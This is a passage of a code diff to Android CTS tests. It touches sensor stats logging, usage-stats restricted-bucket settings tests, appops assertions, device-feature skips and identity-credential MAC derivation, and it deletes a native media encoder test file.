+                {MediaFormat.MIMETYPE_AUDIO_AAC, 64000, 48000, 1, -1},
                 {MediaFormat.MIMETYPE_AUDIO_AAC, 128000, 48000, 2, -1},
 
                 // Video - CodecMime, bit-rate, height, width, frame-rate
diff --git a/tests/sensor/src/android/hardware/cts/helpers/SensorStats.java b/tests/sensor/src/android/hardware/cts/helpers/SensorStats.java
index 3ef2eef..c6b247b 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/SensorStats.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/SensorStats.java
@@ -40,6 +40,7 @@
  * together so that they form a tree.
  */
 public class SensorStats {
+    private static final String TAG = "SensorStats";
     public static final String DELIMITER = "__";
 
     public static final String ERROR = "error";
@@ -146,23 +147,39 @@
         }
     }
 
+    /* Checks if external storage is available for read and write */
+    private boolean isExternalStorageWritable() {
+        String state = Environment.getExternalStorageState();
+        return Environment.MEDIA_MOUNTED.equals(state);
+    }
+
     /**
      * Utility method to log the stats to a file. Will overwrite the file if it already exists.
      */
     public void logToFile(Context context, String fileName) throws IOException {
-        // Only log to file if currently not an Instant App since Instant Apps do not have access to
-        // external storage.
-        if (!context.getPackageManager().isInstantApp()) {
-            File statsDirectory = SensorCtsHelper.getSensorTestDataDirectory("stats/");
-            File logFile = new File(statsDirectory, fileName);
-            final Map<String, Object> flattened = flatten();
-            FileWriter fileWriter = new FileWriter(logFile, false /* append */);
-            try (BufferedWriter writer = new BufferedWriter(fileWriter)) {
-                for (String key : getSortedKeys(flattened)) {
-                    Object value = flattened.get(key);
-                    writer.write(String.format("%s: %s\n", key, getValueString(value)));
+        if (!isExternalStorageWritable()) {
+            Log.w(TAG,
+                "External storage unavailable, skipping log to file: " + fileName);
+            return;
+        }
+
+        try {
+            // Only log to file if currently not an Instant App since Instant Apps do not have access to
+            // external storage.
+            if (!context.getPackageManager().isInstantApp()) {
+                File statsDirectory = SensorCtsHelper.getSensorTestDataDirectory("stats/");
+                File logFile = new File(statsDirectory, fileName);
+                final Map<String, Object> flattened = flatten();
+                FileWriter fileWriter = new FileWriter(logFile, false /* append */);
+                try (BufferedWriter writer = new BufferedWriter(fileWriter)) {
+                    for (String key : getSortedKeys(flattened)) {
+                        Object value = flattened.get(key);
+                        writer.write(String.format("%s: %s\n", key, getValueString(value)));
+                    }
                 }
             }
+        } catch(IOException e) {
+            Log.w(TAG, "Unable to write to file: " + fileName, e);
         }
     }
 
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
index 4440010..92e351a 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
@@ -105,14 +105,11 @@
     private static final String APPOPS_SET_SHELL_COMMAND = "appops set {0} " +
             AppOpsManager.OPSTR_GET_USAGE_STATS + " {1}";
 
-    private static final String USAGE_SOURCE_GET_SHELL_COMMAND = "settings get global " +
-            Settings.Global.APP_TIME_LIMIT_USAGE_SOURCE;
+    private static final String GET_SHELL_COMMAND = "settings get global ";
 
-    private static final String USAGE_SOURCE_SET_SHELL_COMMAND = "settings put global " +
-            Settings.Global.APP_TIME_LIMIT_USAGE_SOURCE + " {0}";
+    private static final String SET_SHELL_COMMAND = "settings put global ";
 
-    private static final String USAGE_SOURCE_DELETE_SHELL_COMMAND = "settings delete global " +
-            Settings.Global.APP_TIME_LIMIT_USAGE_SOURCE;
+    private static final String DELETE_SHELL_COMMAND = "settings delete global ";
 
     private static final String TEST_APP_PKG = "android.app.usage.cts.test1";
     private static final String TEST_APP_CLASS = "android.app.usage.cts.test1.SomeActivity";
@@ -139,6 +136,7 @@
     private KeyguardManager mKeyguardManager;
     private String mTargetPackage;
     private String mCachedUsageSourceSetting;
+    private String mCachedEnableRestrictedBucketSetting;
 
     @Before
     public void setUp() throws Exception {
@@ -152,16 +150,18 @@
 
         assumeTrue("App Standby not enabled on device", AppStandbyUtils.isAppStandbyEnabled());
         setAppOpsMode("allow");
-        mCachedUsageSourceSetting = getUsageSourceSetting();
+        mCachedUsageSourceSetting = getSetting(Settings.Global.APP_TIME_LIMIT_USAGE_SOURCE);
+        mCachedEnableRestrictedBucketSetting = getSetting(Settings.Global.ENABLE_RESTRICTED_BUCKET);
     }
 
     @After
     public void cleanUp() throws Exception {
         if (mCachedUsageSourceSetting != null &&
-            !mCachedUsageSourceSetting.equals(getUsageSourceSetting())) {
+                !mCachedUsageSourceSetting.equals(
+                    getSetting(Settings.Global.APP_TIME_LIMIT_USAGE_SOURCE))) {
             setUsageSourceSetting(mCachedUsageSourceSetting);
-            mUsageStatsManager.forceUsageSourceSettingRead();
         }
+        setSetting(Settings.Global.ENABLE_RESTRICTED_BUCKET, mCachedEnableRestrictedBucketSetting);
         // Force stop test package to avoid any running test code from carrying over to the next run
         SystemUtil.runWithShellPermissionIdentity(() -> mAm.forceStopPackage(TEST_APP_PKG));
         mUiDevice.pressHome();
@@ -179,16 +179,20 @@
         executeShellCmd(MessageFormat.format(APPOPS_SET_SHELL_COMMAND, mTargetPackage, mode));
     }
 
-    private String getUsageSourceSetting() throws Exception {
-        return executeShellCmd(USAGE_SOURCE_GET_SHELL_COMMAND);
+    private String getSetting(String name) throws Exception {
+        return executeShellCmd(GET_SHELL_COMMAND + name);
     }
 
-    private void setUsageSourceSetting(String usageSource) throws Exception {
-        if (usageSource.equals("null")) {
-            executeShellCmd(USAGE_SOURCE_DELETE_SHELL_COMMAND);
+    private void setSetting(String name, String setting) throws Exception {
+        if (setting == null || setting.equals("null")) {
+            executeShellCmd(DELETE_SHELL_COMMAND + name);
         } else {
-            executeShellCmd(MessageFormat.format(USAGE_SOURCE_SET_SHELL_COMMAND, usageSource));
+            executeShellCmd(SET_SHELL_COMMAND + name + " " + setting);
         }
+    }
+
+    private void setUsageSourceSetting(String value) throws Exception {
+        setSetting(Settings.Global.APP_TIME_LIMIT_USAGE_SOURCE, value);
         mUsageStatsManager.forceUsageSourceSettingRead();
     }
 
@@ -683,7 +687,9 @@
     // TODO(148887416): get this test to work for instant apps
     @AppModeFull(reason = "Test APK Activity not found when installed as an instant app")
     @Test
-    public void testUserForceIntoRestricted() throws IOException {
+    public void testUserForceIntoRestricted() throws Exception {
+        setSetting(Settings.Global.ENABLE_RESTRICTED_BUCKET, "1");
+
         launchSubActivity(TaskRootActivity.class);
         assertEquals("Activity launch didn't bring app up to ACTIVE bucket",
                 UsageStatsManager.STANDBY_BUCKET_ACTIVE,
@@ -700,7 +706,28 @@
     // TODO(148887416): get this test to work for instant apps
     @AppModeFull(reason = "Test APK Activity not found when installed as an instant app")
     @Test
-    public void testUserLaunchRemovesFromRestricted() throws IOException {
+    public void testUserForceIntoRestricted_BucketDisabled() throws Exception {
+        setSetting(Settings.Global.ENABLE_RESTRICTED_BUCKET, "0");
+
+        launchSubActivity(TaskRootActivity.class);
+        assertEquals("Activity launch didn't bring app up to ACTIVE bucket",
+                UsageStatsManager.STANDBY_BUCKET_ACTIVE,
+                mUsageStatsManager.getAppStandbyBucket(mTargetPackage));
+
+        // User force shouldn't have to deal with the timeout.
+        setStandByBucket(mTargetPackage, "restricted");
+        assertNotEquals("User was able to force into RESTRICTED bucket when bucket disabled",
+                UsageStatsManager.STANDBY_BUCKET_RESTRICTED,
+                mUsageStatsManager.getAppStandbyBucket(mTargetPackage));
+
+    }
+
+    // TODO(148887416): get this test to work for instant apps
+    @AppModeFull(reason = "Test APK Activity not found when installed as an instant app")
+    @Test
+    public void testUserLaunchRemovesFromRestricted() throws Exception {
+        setSetting(Settings.Global.ENABLE_RESTRICTED_BUCKET, "1");
+
         setStandByBucket(mTargetPackage, "restricted");
         assertEquals("User was unable to force an app into RESTRICTED bucket",
                 UsageStatsManager.STANDBY_BUCKET_RESTRICTED,
@@ -712,6 +739,26 @@
                 mUsageStatsManager.getAppStandbyBucket(mTargetPackage));
     }
 
+    /** Confirm the default value of {@link Settings.Global.ENABLE_RESTRICTED_BUCKET}. */
+    // TODO(148887416): get this test to work for instant apps
+    @AppModeFull(reason = "Test APK Activity not found when installed as an instant app")
+    @Test
+    public void testDefaultEnableRestrictedBucketOff() throws Exception {
+        setSetting(Settings.Global.ENABLE_RESTRICTED_BUCKET, null);
+
+        launchSubActivity(TaskRootActivity.class);
+        assertEquals("Activity launch didn't bring app up to ACTIVE bucket",
+                UsageStatsManager.STANDBY_BUCKET_ACTIVE,
+                mUsageStatsManager.getAppStandbyBucket(mTargetPackage));
+
+        // User force shouldn't have to deal with the timeout.
+        setStandByBucket(mTargetPackage, "restricted");
+        assertNotEquals("User was able to force into RESTRICTED bucket when bucket disabled",
+                UsageStatsManager.STANDBY_BUCKET_RESTRICTED,
+                mUsageStatsManager.getAppStandbyBucket(mTargetPackage));
+
+    }
+
     // TODO(148887416): get this test to work for instant apps
     @AppModeFull(reason = "Test APK Activity not found when installed as an instant app")
     @Test
diff --git a/tests/tests/appop/AppThatUsesAppOps/src/android/app/appops/cts/appthatusesappops/AppOpsUserService.kt b/tests/tests/appop/AppThatUsesAppOps/src/android/app/appops/cts/appthatusesappops/AppOpsUserService.kt
index 832eb49..100b9af 100644
--- a/tests/tests/appop/AppThatUsesAppOps/src/android/app/appops/cts/appthatusesappops/AppOpsUserService.kt
+++ b/tests/tests/appop/AppThatUsesAppOps/src/android/app/appops/cts/appthatusesappops/AppOpsUserService.kt
@@ -107,10 +107,10 @@
 
                     setNotedAppOpsCollector()
 
-                    assertThat(asyncNoted).isEmpty()
+                    assertThat(noted).isEmpty()
                     assertThat(selfNoted).isEmpty()
                     eventually {
-                        assertThat(noted.map { it.first.op }).containsExactly(OPSTR_COARSE_LOCATION)
+                        assertThat(asyncNoted.map { it.op }).containsExactly(OPSTR_COARSE_LOCATION)
                     }
                 }
             }
diff --git a/tests/tests/appop/AppThatUsesAppOps/src/android/app/appops/cts/appthatusesappops/AutoClosingActivity.kt b/tests/tests/appop/AppThatUsesAppOps/src/android/app/appops/cts/appthatusesappops/AutoClosingActivity.kt
index 222059f..3dd5c21 100644
--- a/tests/tests/appop/AppThatUsesAppOps/src/android/app/appops/cts/appthatusesappops/AutoClosingActivity.kt
+++ b/tests/tests/appop/AppThatUsesAppOps/src/android/app/appops/cts/appthatusesappops/AutoClosingActivity.kt
@@ -21,6 +21,8 @@
 
 class AutoClosingActivity : Activity() {
     override fun onCreate(savedInstanceState: Bundle?) {
+        super.onCreate(savedInstanceState)
+
         finish()
     }
 }
diff --git a/tests/tests/appop/src/android/app/appops/cts/RuntimeMessageCollectionTest.kt b/tests/tests/appop/src/android/app/appops/cts/RuntimeMessageCollectionTest.kt
index 1d14a77..9f785b8 100644
--- a/tests/tests/appop/src/android/app/appops/cts/RuntimeMessageCollectionTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/RuntimeMessageCollectionTest.kt
@@ -29,7 +29,6 @@
 private const val APK_PATH = "/data/local/tmp/cts/appops/"
 
 private const val APP_PKG = "android.app.appops.cts.apptocollect"
-private const val MESSAGE = "Stack trace message"
 
 @AppModeFull(reason = "Test relies on seeing other apps. Instant apps can't see other apps")
 class RuntimeMessageCollectionTest {
@@ -58,7 +57,7 @@
             val start = System.currentTimeMillis()
             runWithShellPermissionIdentity {
                 appOpsManager.noteOp(AppOpsManager.OPSTR_READ_CONTACTS, appUid, APP_PKG,
-                        TEST_ATTRIBUTION_TAG, MESSAGE)
+                        TEST_ATTRIBUTION_TAG, null)
             }
             while (System.currentTimeMillis() - start < TIMEOUT_MILLIS) {
                 sleep(200)
@@ -71,7 +70,7 @@
                         assertThat(message.op).isEqualTo(AppOpsManager.OPSTR_READ_CONTACTS)
                         assertThat(message.uid).isEqualTo(appUid)
                         assertThat(message.attributionTag).isEqualTo(TEST_ATTRIBUTION_TAG)
-                        assertThat(message.message).isEqualTo(MESSAGE)
+                        assertThat(message.message).isNotNull()
                         return
                     }
                 }
diff --git a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
index 29a860e..47ccab4 100644
--- a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
+++ b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
@@ -445,7 +445,10 @@
     }
 
     public void testInteractAcrossProfilesSettings() {
-        assertCanBeHandled(new Intent(Settings.ACTION_MANAGE_CROSS_PROFILE_ACCESS));
+        PackageManager packageManager = mContext.getPackageManager();
+        if (packageManager.hasSystemFeature(PackageManager.FEATURE_MANAGED_PROFILES)) {
+            assertCanBeHandled(new Intent(Settings.ACTION_MANAGE_CROSS_PROFILE_ACCESS));
+        }
     }
 
     public void testChangeDefaultSmsApplication() {
@@ -496,6 +499,12 @@
 
     @CddTest(requirement = "7.4.2.6/C-1-1")
     public void testEasyConnectIntent() {
+        // Android only supports Initiator-... modes right now, which require the device to
+        // have a QR-code capture mechanism. Therefore this feature does not make sense on
+        // non-handheld devices.
+        if (!isHandheld()) {
+            return;
+        }
         WifiManager manager = mContext.getSystemService(WifiManager.class);
 
         if (manager.isEasyConnectSupported()) {
@@ -529,6 +538,11 @@
     }
 
     public void testVoiceInputSettingsIntent() {
+        // Non-handheld devices do not allow more than one VoiceInteractionService, and therefore do
+        // not have to support this Intent.
+        if (!isHandheld()) {
+            return;
+        }
         Intent intent = new Intent(Settings.ACTION_VOICE_INPUT_SETTINGS);
         assertCanBeHandled(intent);
     }
diff --git a/tests/tests/content/src/android/content/pm/cts/FeatureTest.java b/tests/tests/content/src/android/content/pm/cts/FeatureTest.java
index 99d7268..beab1c4 100644
--- a/tests/tests/content/src/android/content/pm/cts/FeatureTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/FeatureTest.java
@@ -76,6 +76,11 @@
             return;
         }
 
+        // Skip the tests for low-RAM devices
+        if (mActivityManager.isLowRamDevice()) {
+            return;
+        }
+
         fail("Device should support managed profiles, but "
                 + PackageManager.FEATURE_MANAGED_USERS + " is not enabled");
     }
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java
index ec02cd3..75f7cc4 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java
@@ -38,7 +38,6 @@
 import org.junit.After;
 import org.junit.Assume;
 import org.junit.Before;
-import org.junit.Ignore;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -234,7 +233,6 @@
 
     @LargeTest
     @Test
-    @Ignore("Flaky, b/159368388 to reenable.")
     public void testInstallSysTrace() throws Exception {
         // Async atrace dump uses less resources but requires periodic pulls.
         // Overall timeout of 30secs in 100ms intervals should be enough.
@@ -270,8 +268,11 @@
         });
         readFromProcess.start();
 
-        installPackage(TEST_APK);
-        assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+        for (int i = 0; i < 3; ++i) {
+            installPackage(TEST_APK);
+            assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+            uninstallPackageSilently(TEST_APP_PACKAGE);
+        }
 
         readFromProcess.join();
         assertNotEquals(0, result.size());
diff --git a/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java b/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java
index 7e29288..2333601 100644
--- a/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java
+++ b/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java
@@ -44,7 +44,7 @@
                 (WindowManager) getContext().getSystemService(Context.WINDOW_SERVICE);
         Display display = windowManager.getDefaultDisplay();
         mMetrics = new DisplayMetrics();
-        display.getMetrics(mMetrics);
+        display.getRealMetrics(mMetrics);
     }
 
     @Presubmit
diff --git a/tests/tests/graphics/src/android/graphics/cts/VulkanDeqpLevelTest.java b/tests/tests/graphics/src/android/graphics/cts/VulkanDeqpLevelTest.java
index a736878..a11406c 100644
--- a/tests/tests/graphics/src/android/graphics/cts/VulkanDeqpLevelTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/VulkanDeqpLevelTest.java
@@ -71,7 +71,8 @@
     @CddTest(requirement = "7.1.4.2/C-1-8,C-1-9")
     @Test
     public void testVulkanDeqpLevel() {
-        if (mVulkanHardwareVersion.version >= VULKAN_1_0) {
+        if (mVulkanHardwareVersion != null
+                && mVulkanHardwareVersion.version >= VULKAN_1_0) {
             if (DEBUG) {
                 Log.d(TAG, "Checking whether " + PackageManager.FEATURE_VULKAN_DEQP_LEVEL
                         + " has an acceptable value");
diff --git a/tests/tests/identity/src/android/security/identity/cts/DynamicAuthTest.java b/tests/tests/identity/src/android/security/identity/cts/DynamicAuthTest.java
index 4d9564c..c5c5cd1 100644
--- a/tests/tests/identity/src/android/security/identity/cts/DynamicAuthTest.java
+++ b/tests/tests/identity/src/android/security/identity/cts/DynamicAuthTest.java
@@ -268,10 +268,13 @@
         // Calculate the MAC by deriving the key using ECDH and HKDF.
         SecretKey eMacKey = Util.calcEMacKeyForReader(
             key0Cert.getPublicKey(),
-            readerEphemeralKeyPair.getPrivate());
+            readerEphemeralKeyPair.getPrivate(),
+            sessionTranscript);
+        byte[] deviceAuthenticationBytes =
+                Util.prependSemanticTagForEncodedCbor(deviceAuthenticationCbor);
         byte[] expectedMac = Util.coseMac0(eMacKey,
-                new byte[0],                // payload
-                deviceAuthenticationCbor);  // additionalData
+                new byte[0],                 // payload
+                deviceAuthenticationBytes);  // detached content
 
         // Then compare it with what the TA produced.
         assertArrayEquals(expectedMac, rd.getMessageAuthenticationCode());
@@ -304,10 +307,13 @@
             resultCbor);
         eMacKey = Util.calcEMacKeyForReader(
             key4Cert.getPublicKey(),
-            readerEphemeralKeyPair.getPrivate());
+            readerEphemeralKeyPair.getPrivate(),
+            sessionTranscript);
+        deviceAuthenticationBytes =
+                Util.prependSemanticTagForEncodedCbor(deviceAuthenticationCbor);
         expectedMac = Util.coseMac0(eMacKey,
-                new byte[0],                // payload
-                deviceAuthenticationCbor);  // additionalData
+                new byte[0],                 // payload
+                deviceAuthenticationBytes);  // detached content
         assertArrayEquals(expectedMac, rd.getMessageAuthenticationCode());
 
         // And again.... this time key0 should have been used. Check it.
@@ -436,10 +442,13 @@
             resultCbor);
         eMacKey = Util.calcEMacKeyForReader(
             keyNewCert.getPublicKey(),
-            readerEphemeralKeyPair.getPrivate());
+            readerEphemeralKeyPair.getPrivate(),
+            sessionTranscript);
+        deviceAuthenticationBytes =
+                Util.prependSemanticTagForEncodedCbor(deviceAuthenticationCbor);
         expectedMac = Util.coseMac0(eMacKey,
-                new byte[0],                // payload
-                deviceAuthenticationCbor);  // additionalData
+                new byte[0],                 // payload
+                deviceAuthenticationBytes);  // detached content
         assertArrayEquals(expectedMac, rd.getMessageAuthenticationCode());
 
         // ... and we're done. Clean up after ourselves.
diff --git a/tests/tests/identity/src/android/security/identity/cts/ReaderAuthTest.java b/tests/tests/identity/src/android/security/identity/cts/ReaderAuthTest.java
index 737f7719..ce5e311 100644
--- a/tests/tests/identity/src/android/security/identity/cts/ReaderAuthTest.java
+++ b/tests/tests/identity/src/android/security/identity/cts/ReaderAuthTest.java
@@ -440,8 +440,8 @@
         byte[] sessionTranscriptBytes = Util.buildSessionTranscript(ephemeralKeyPair);
 
         // Finally, create the structure that the reader signs, and sign it.
-        byte[] dataToBeSignedByReader = Util.buildReaderAuthenticationCbor(sessionTranscriptBytes,
-                requestMessage);
+        byte[] dataToBeSignedByReader =
+                Util.buildReaderAuthenticationBytesCbor(sessionTranscriptBytes, requestMessage);
         byte[] readerSignature = Util.coseSign1Sign(readerKeyToSignWith.getPrivate(),
                 null, // payload
                 dataToBeSignedByReader, // detached content
diff --git a/tests/tests/identity/src/android/security/identity/cts/Util.java b/tests/tests/identity/src/android/security/identity/cts/Util.java
index 2586c65..df9a300 100644
--- a/tests/tests/identity/src/android/security/identity/cts/Util.java
+++ b/tests/tests/identity/src/android/security/identity/cts/Util.java
@@ -922,11 +922,11 @@
     }
 
     static byte[] buildDeviceAuthenticationCbor(String docType,
-            byte[] sessionTranscriptBytes,
+            byte[] encodedSessionTranscript,
             byte[] deviceNameSpacesBytes) {
         ByteArrayOutputStream daBaos = new ByteArrayOutputStream();
         try {
-            ByteArrayInputStream bais = new ByteArrayInputStream(sessionTranscriptBytes);
+            ByteArrayInputStream bais = new ByteArrayInputStream(encodedSessionTranscript);
             List<DataItem> dataItems = null;
             dataItems = new CborDecoder(bais).decode();
             DataItem sessionTranscript = dataItems.get(0);
@@ -946,13 +946,13 @@
         return daBaos.toByteArray();
     }
 
-    static byte[] buildReaderAuthenticationCbor(
-            byte[] sessionTranscriptBytes,
+    static byte[] buildReaderAuthenticationBytesCbor(
+            byte[] encodedSessionTranscript,
             byte[] requestMessageBytes) {
 
         ByteArrayOutputStream daBaos = new ByteArrayOutputStream();
         try {
-            ByteArrayInputStream bais = new ByteArrayInputStream(sessionTranscriptBytes);
+            ByteArrayInputStream bais = new ByteArrayInputStream(encodedSessionTranscript);
             List<DataItem> dataItems = null;
             dataItems = new CborDecoder(bais).decode();
             DataItem sessionTranscript = dataItems.get(0);
@@ -968,22 +968,49 @@
         } catch (CborException e) {
             throw new RuntimeException("Error encoding ReaderAuthentication", e);
         }
-        return daBaos.toByteArray();
+        byte[] readerAuthentication = daBaos.toByteArray();
+        return Util.prependSemanticTagForEncodedCbor(readerAuthentication);
+    }
+
+    static byte[] prependSemanticTagForEncodedCbor(byte[] encodedCbor) {
+        ByteArrayOutputStream baos = new ByteArrayOutputStream();
+        try {
+            ByteString taggedBytestring = new ByteString(encodedCbor);
+            taggedBytestring.setTag(CBOR_SEMANTIC_TAG_ENCODED_CBOR);
+            new CborEncoder(baos).encode(taggedBytestring);
+        } catch (CborException e) {
+            throw new RuntimeException("Error encoding with semantic tag for CBOR encoding", e);
+        }
+        return baos.toByteArray();
+    }
+
+    static byte[] concatArrays(byte[] a, byte[] b) {
+        byte[] ret = new byte[a.length + b.length];
+        System.arraycopy(a, 0, ret, 0, a.length);
+        System.arraycopy(b, 0, ret, a.length, b.length);
+        return ret;
     }
 
     static SecretKey calcEMacKeyForReader(PublicKey authenticationPublicKey,
-            PrivateKey ephemeralReaderPrivateKey) {
+            PrivateKey ephemeralReaderPrivateKey,
+            byte[] encodedSessionTranscript) {
         try {
             KeyAgreement ka = KeyAgreement.getInstance("ECDH");
             ka.init(ephemeralReaderPrivateKey);
             ka.doPhase(authenticationPublicKey, true);
             byte[] sharedSecret = ka.generateSecret();
 
+            byte[] sessionTranscriptBytes =
+                    Util.prependSemanticTagForEncodedCbor(encodedSessionTranscript);
+            byte[] sharedSecretWithSessionTranscriptBytes =
+                    Util.concatArrays(sharedSecret, sessionTranscriptBytes);
+
             byte[] salt = new byte[1];
             byte[] info = new byte[0];
 
             salt[0] = 0x00;
-            byte[] derivedKey = Util.computeHkdf("HmacSha256", sharedSecret, salt, info, 32);
+            byte[] derivedKey = Util.computeHkdf("HmacSha256",
+                    sharedSecretWithSessionTranscriptBytes, salt, info, 32);
             SecretKey secretKey = new SecretKeySpec(derivedKey, "");
             return secretKey;
         } catch (InvalidKeyException
diff --git a/tests/tests/media/libmediandkjni/Android.bp b/tests/tests/media/libmediandkjni/Android.bp
index e501daa..becae52 100644
--- a/tests/tests/media/libmediandkjni/Android.bp
+++ b/tests/tests/media/libmediandkjni/Android.bp
@@ -46,7 +46,6 @@
         "native-media-jni.cpp",
         "native_media_utils.cpp",
         "native_media_decoder_source.cpp",
-        "native_media_encoder_jni.cpp",
     ],
     include_dirs: ["system/core/include"],
     shared_libs: [
diff --git a/tests/tests/media/libmediandkjni/native_media_encoder_jni.cpp b/tests/tests/media/libmediandkjni/native_media_encoder_jni.cpp
deleted file mode 100644
index 2333ddd..0000000
--- a/tests/tests/media/libmediandkjni/native_media_encoder_jni.cpp
+++ /dev/null
@@ -1,412 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-//#define LOG_NDEBUG 0
-#define LOG_TAG "NativeMediaEnc"
-
-#include <stddef.h>
-#include <inttypes.h>
-#include <log/log.h>
-
-#include <assert.h>
-#include <jni.h>
-#include <pthread.h>
-#include <stdio.h>
-#include <string.h>
-#include <unistd.h>
-#include <semaphore.h>
-#include <list>
-#include <memory>
-#include <string>
-
-#include <android/native_window_jni.h>
-
-#include "media/NdkMediaFormat.h"
-#include "media/NdkMediaExtractor.h"
-#include "media/NdkMediaCodec.h"
-#include "media/NdkMediaCrypto.h"
-#include "media/NdkMediaFormat.h"
-#include "media/NdkMediaMuxer.h"
-
-#include "native_media_source.h"
-using namespace Utils;
-
-class NativeEncoder : Thread {
-public:
-
-    NativeEncoder(const std::string&);
-    NativeEncoder(const NativeEncoder&) = delete;
-    ~NativeEncoder();
-    static std::shared_ptr<ANativeWindow> getPersistentSurface();
-    std::shared_ptr<ANativeWindow> getSurface() const;
-
-    Status prepare(std::unique_ptr<RunConfig> config, std::shared_ptr<ANativeWindow> anw = nullptr);
-    Status start();
-    Status waitForCompletion();
-    Status validate();
-
-    Status reset();
-
-protected:
-    void run() override;
-
-private:
-    std::shared_ptr<AMediaCodec> mEnc;
-    std::shared_ptr<ANativeWindow> mLocalSurface; // the one created by createInputSurface()
-    std::string mOutFileName;
-    bool mStarted;
-
-    Stats mStats;
-    std::unique_ptr<RunConfig> mRunConfig;
-
-};
-
-NativeEncoder::NativeEncoder(const std::string& outFileName)
-    : mEnc(nullptr),
-      mLocalSurface(nullptr),
-      mOutFileName(outFileName),
-      mStarted(false) {
-    mRunConfig = nullptr;
-}
-
-NativeEncoder::~NativeEncoder() {
-    mEnc = nullptr;
-    mLocalSurface = nullptr;
-    mRunConfig = nullptr;
-}
-
-//static
-std::shared_ptr<ANativeWindow> NativeEncoder::getPersistentSurface() {
-    ANativeWindow *ps;
-    media_status_t ret = AMediaCodec_createPersistentInputSurface(&ps);
-    if (ret != AMEDIA_OK) {
-        ALOGE("Failed to create persistent surface !");
-        return nullptr;
-    }
-    ALOGI("Encoder: created persistent surface %p", ps);
-    return std::shared_ptr<ANativeWindow>(ps, deleter_ANativeWindow);
-}
-
-std::shared_ptr<ANativeWindow> NativeEncoder::getSurface() const {
-    return mLocalSurface;
-}
-
-Status NativeEncoder::prepare(
-        std::unique_ptr<RunConfig> runConfig, std::shared_ptr<ANativeWindow> surface) {
-    assert(runConfig != nullptr);
-    assert(runConfig->format() != nullptr);
-
-    ALOGI("NativeEncoder::prepare");
-    mRunConfig = std::move(runConfig);
-
-    AMediaFormat *config = mRunConfig->format();
-    ALOGI("Encoder format: %s", AMediaFormat_toString(config));
-
-    const char *mime;
-    AMediaFormat_getString(config, AMEDIAFORMAT_KEY_MIME, &mime);
-
-    AMediaCodec *enc = AMediaCodec_createEncoderByType(mime);
-    mEnc = std::shared_ptr<AMediaCodec>(enc, deleter_AMediaCodec);
-
-    media_status_t status = AMediaCodec_configure(
-            mEnc.get(), config, NULL, NULL /* crypto */, AMEDIACODEC_CONFIGURE_FLAG_ENCODE);
-    if (status != AMEDIA_OK) {
-        ALOGE("failed to configure encoder");
-        return FAIL;
-    }
-
-    if (surface == nullptr) {
-        ANativeWindow *anw;
-        status = AMediaCodec_createInputSurface(mEnc.get(), &anw);
-        mLocalSurface = std::shared_ptr<ANativeWindow>(anw, deleter_ANativeWindow);
-        ALOGI("created input surface = %p", mLocalSurface.get());
-    } else {
-        ALOGI("setting persistent input surface %p", surface.get());
-        status = AMediaCodec_setInputSurface(mEnc.get(), surface.get());
-    }
-
-    return status == AMEDIA_OK ? OK : FAIL;
-}
-
-Status NativeEncoder::start() {
-    ALOGI("starting encoder..");
-
-    media_status_t status = AMediaCodec_start(mEnc.get());
-    if (status != AMEDIA_OK) {
-        ALOGE("failed to start decoder");
-        return FAIL;
-    }
-    if (startThread() != OK) {
-        return FAIL;
-    }
-    mStarted = true;
-    return OK;
-}
-
-Status NativeEncoder::waitForCompletion() {
-    joinThread();
-    ALOGI("encoder done..");
-    return OK;
-}
-
-Status NativeEncoder::validate() {
-    const char *s = AMediaFormat_toString(mRunConfig->format());
-    ALOGI("RESULT: Encoder Output Format: %s", s);
-
-    {
-        int32_t encodedFrames = mStats.frameCount();
-        int32_t inputFrames = mRunConfig->frameCount();
-        ALOGI("RESULT: input frames = %d, Encoded frames = %d",
-                inputFrames, encodedFrames);
-        if (encodedFrames != inputFrames) {
-            ALOGE("RESULT: ERROR: output frame count does not match input");
-            return FAIL;
-        }
-    }
-
-    if (Validator::checkOverallBitrate(mStats, *mRunConfig) != OK) {
-        ALOGE("Overall bitrate check failed!");
-        return FAIL;
-    }
-    if (Validator::checkIntraPeriod(mStats, *mRunConfig) != OK) {
-        ALOGE("I-period check failed!");
-        return FAIL;
-    }
-    if (Validator::checkDynamicKeyFrames(mStats, *mRunConfig) != OK) {
-        ALOGE("Dynamic-I-frame-request check failed!");
-        return FAIL;
-    }
-    if (Validator::checkDynamicBitrate(mStats, *mRunConfig) != OK) {
-        ALOGE("Dynamic-bitrate-update check failed!");
-        return FAIL;
-    }
-
-    return OK;
-}
-
-Status NativeEncoder::reset() {
-
-    mEnc = nullptr;
-    return OK;
-}
-
-void NativeEncoder::run() {
-
-    assert(mRunConfig != nullptr);
-
